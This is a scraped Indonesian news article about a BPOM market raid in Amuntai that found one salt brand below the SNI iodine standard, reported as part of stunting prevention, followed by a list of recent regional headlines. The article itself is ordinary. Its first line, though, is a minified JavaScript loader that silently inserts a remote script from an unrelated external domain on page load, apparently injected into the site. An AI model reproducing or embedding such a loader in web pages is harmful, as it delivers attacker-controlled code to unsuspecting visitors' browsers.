(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Dukung Penekanan Angka Stunting, BPOM HSU Gelar Razia Garam Beryudioum


AMUNTAI, Badan Pengawas Obat dan Makanan (BPOM) di Kabupaten Hulu Sungai Utara (HSU) kembali menggelar Operasi Terpadu, terkait Pangan Fortifikasi Garam Beryodium di kawasan pasar Amuntai, Jumat (16/8).

Alhasil dalam operasi yang digelar kali ini, ditemukan 3 dari 10 sampel yang diambil dari para pedagang terdapat 1 merek yang sama tidak memenuhi persyaratan standar SNI.

“Dari sampel yang beredar kita ambil 10 sampel dengan 6 merk yang kita uji dengan menggunakan test kit yodium. Dari 10 sampel kita dapatkan ada 3 sampel dengan 1 merk yang sama tidak memenuhi syarat,” ujar Bambang selaku Kepala Kantor BPOM HSU.

Adapun jumlah sampel yang diuji kali ini berjumlah 10 dengan menggunakan Yodium Test Kit, uji kuantitatif  untuk menentukan kadar yodium menggunakan test kit didapatkan hasil bahwa 1 sampel garam mempunyai kadar kurang dari 30 ppm.

“Persyaratan garam beryodium sesuai Standar SNI yaitu 30 – 80 ppm, dimana dari hasil uji kami dapatkan di bawah standar atau tepatnya 27 ppm,” lanjut Bambang.

Sementara untuk sampel yang tidak memenuhi standar pihaknya akan rujukan ke Laboratorium Balai Besar POM di Banjarmasin guna dilakukan uji ulang untuk menentukan apakah benar kandungan yodium yang ada di garam tersebut tidak memenuhi standar. Setelah itu apabila benar ditemukan tidak memenuhi standar maka akan diberikan teguran dan peringatan kepada industri garam tersebut.

“Fortifikasi yodium ini menjadi penting dalam meningkatkan kualitas sumber daya manusia, mencegah stunting (kondisi gagal tumbuh kembang pada balita). Selain itu, hal ini juga untuk meningkatkan kualitas dan nilai tambah produk garam dalam negeri,” pungkasnya.

Adapun Operasi Terpadu Pangan Fortifikasi Garam Beryodium ini digelar dalam rangka mendukung penurunan Stunting dengan menggunakan Mobil Laboratorium Keliling, bekerjasama dengan Dinas Kesehatan Kabupaten Hulu Sungai Utara serta Disperindagkop-UKM HSU. (dew)

Reporter : Dew
Editor : Chell


Desy Arfianty

Recent Posts

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

1 jam ago

Kuliner Gratis dan Panjat Pinang Warnai Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Ribuan warga mendatangi lokasi peringatan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara… Read More

2 jam ago

Peringatan Hari Jadi ke-72 Kabupaten HSU, Paman Birin: Syukuri Capaian Pembangunan

KANALKALIMANTAN.COM, AMUNTAI - Gubernur Kalimantan Selatan (Kalsel) H Sahbirin Noor menilai sebuah pembangunan tidak terlepas… Read More

2 jam ago

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

4 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

5 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Ciptaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

7 jam ago

This website uses cookies.